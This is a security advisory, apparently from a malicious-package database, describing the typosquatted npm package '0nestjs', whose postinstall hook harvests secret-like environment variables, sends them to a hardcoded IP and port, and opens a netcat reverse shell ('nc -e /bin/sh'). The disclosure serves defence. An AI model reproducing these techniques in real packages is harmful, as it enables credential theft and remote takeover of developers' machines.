MAL-2026-15908 Malicious code in 0nestjs (npm)
- Package
- 0nestjs
- Registry
- npm
What is MAL-2026-15908?
MAL-2026-15908 is a malicious package in 0nestjs, published on 3 Sep 2026.
Official description
Package name 0nestjs targets developers mistyping nestjs. On npm install, the postinstall hook node index.js executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes nc -e /bin/sh <host> <port> against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'.
The OpenSSF Package Analysis project identified '0nestjs' @ 0.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
What should I do about MAL-2026-15908?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.